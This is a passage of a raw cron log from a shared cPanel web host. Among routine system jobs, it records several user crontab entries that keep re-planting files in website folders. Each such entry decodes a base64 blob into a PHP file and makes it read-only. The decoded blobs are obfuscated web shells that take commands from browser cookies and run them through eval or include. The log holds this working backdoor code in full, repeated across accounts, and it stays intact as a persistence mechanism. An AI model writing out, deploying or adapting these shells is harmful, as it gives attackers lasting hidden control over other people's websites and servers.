tIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:58:01 medusa CROND[4506]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:58:01 medusa CROND[4568]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:58:01 medusa CROND[4569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:58:01 medusa CROND[4570]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:58:01 medusa CROND[4571]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:58:01 medusa CROND[4572]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 04:58:01 medusa CROND[4574]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:58:01 medusa CROND[4573]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:58:02 medusa CROND[4588]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 04:58:02 medusa CROND[4586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:58:02 medusa CROND[4590]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:58:02 medusa CROND[4579]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 04:58:02 medusa CROND[4577]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 04:58:02 medusa CROND[4593]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:59:02 medusa CROND[28847]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 04:59:02 medusa CROND[28848]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 04:59:02 medusa CROND[28849]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 04:59:02 medusa CROND[28850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 04:59:02 medusa CROND[28851]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:59:02 medusa CROND[28852]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:59:02 medusa CROND[28863]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 04:59:02 medusa CROND[28864]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:59:02 medusa CROND[28866]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 04:59:02 medusa CROND[28862]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 04:59:02 medusa CROND[28867]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 04:59:02 medusa CROND[28868]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20645]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:00:01 medusa CROND[20646]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:00:01 medusa CROND[20726]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 05:00:01 medusa CROND[20832]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 05:00:01 medusa CROND[20833]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 05:00:01 medusa CROND[20834]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3